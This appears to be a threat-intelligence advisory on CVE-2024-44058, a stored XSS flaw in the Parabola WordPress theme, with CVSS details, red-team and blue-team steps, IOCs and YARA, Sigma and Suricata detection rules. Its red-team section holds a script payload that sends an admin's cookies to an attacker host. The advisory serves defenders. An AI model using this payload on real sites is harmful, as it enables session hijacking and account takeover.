CVE-2024-44058

Executive Summary

CVE-2024-44058 is a Stored Cross-Site Scripting (XSS) vulnerability in the Parabola WordPress theme developed by CryoutCreations. The vulnerability exists in versions up to and including 2.4.1. An authenticated attacker with at least Contributor-level privileges can inject arbitrary JavaScript into the theme’s settings or content fields. When an administrator or other user views the affected page, the malicious script executes in their browser session, potentially leading to session hijacking, defacement, or credential theft. The CVSS score is 6.5 (Medium), and no public exploit code or patch is currently available.

Supply Chain & Package Security

This vulnerability affects a WordPress theme distributed via the official WordPress theme repository and third-party marketplaces. Since the patch status is unknown, users must rely on manual mitigation or disabling the theme until an update is released. The lack of a patch increases supply chain risk for any site using Parabola.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Base Score: 6.5 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor or higher)
• User Interaction: Required (victim must visit the affected page)
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

The threat level is elevated due to the stored nature of the XSS, which can persist across sessions and affect multiple users without requiring repeated exploitation.

Deep Dive & Mechanics

The vulnerability stems from improper neutralization of user-supplied input in the Parabola theme’s settings or content rendering functions. The theme likely fails to sanitize or escape output when displaying data stored in custom fields, theme options, or post meta. An attacker with Contributor-level access can inject a payload such as:

<script>alert('XSS')</script>

When an administrator visits the page where this input is rendered (e.g., theme settings page, customizer, or front-end display), the script executes in the context of the admin’s session. This can be leveraged to steal cookies, perform actions on behalf of the admin, or redirect users to malicious sites.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code pattern is typical of WordPress themes that do not use esc_html(), esc_attr(), or wp_kses() when outputting user-controlled data.

Vulnerable code example (hypothetical):

echo get_option('parabola_custom_text');

Patched code example (expected):

echo esc_html(get_option('parabola_custom_text'));

The patched version would escape HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team

1. Prerequisites: WordPress site with Parabola theme <= 2.4.1, an account with Contributor-level privileges.
2. Steps:
   • Log in as a Contributor.
   • Navigate to a vulnerable input field (e.g., theme customizer, post editor, or widget).
   • Inject the following payload:

     <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
     

   • Save the changes.
   • Wait for an administrator to visit the affected page.
3. Expected Outcome: The admin’s session cookie is exfiltrated to the attacker’s server.

Blue Team

1. Detection: Monitor for unusual script tags in theme settings or post content. Use WAF rules to block common XSS patterns.
2. Mitigation: Disable the Parabola theme and switch to a patched alternative. If disabling is not possible, implement a Content Security Policy (CSP) that blocks inline scripts.
3. Hunting: Search for parabola in the database for suspicious HTML/JavaScript entries.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to unknown domains containing document.cookie or localStorage.
• File: Modified theme files under /wp-content/themes/parabola/ containing <script> tags.
• Database: Rows in wp_options or wp_postmeta with parabola_ prefix containing JavaScript.
• Logs: WordPress debug logs showing wp_redirect or wp_die calls related to theme options.

Detection Engineering

YARA Rule

rule CVE_2024_44058_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Parabola theme options"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-44058"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $theme_option = /parabola_/
    condition:
        $theme_option and $xss_payload
}

Sigma Rule

title: Stored XSS in Parabola WordPress Theme
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts in Parabola theme settings
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        http.method: POST
        http.url|contains: /wp-admin/admin-ajax.php
        http.body|contains: parabola_
    condition: selection
falsepositives:
    - Legitimate theme updates
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-44058 - Stored XSS in Parabola Theme";
    flow:to_server,established;
    content:"parabola_"; http_client_body;
    pcre:"/<script[^>]*>.*?<\/script>/i";
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

1. Immediate: Disable the Parabola theme and switch to a secure alternative.
2. Short-term: If disabling is not possible, implement a Web Application Firewall (WAF) rule to block <script> tags in theme settings.
3. Long-term: Monitor the CryoutCreations website for a patched version (>= 2.4.2). Apply the update as soon as it is released.
4. User Training: Educate administrators to avoid clicking on suspicious links or visiting untrusted pages while logged in.

Valters IT - DevSecOps & Cyber Threat Intelligence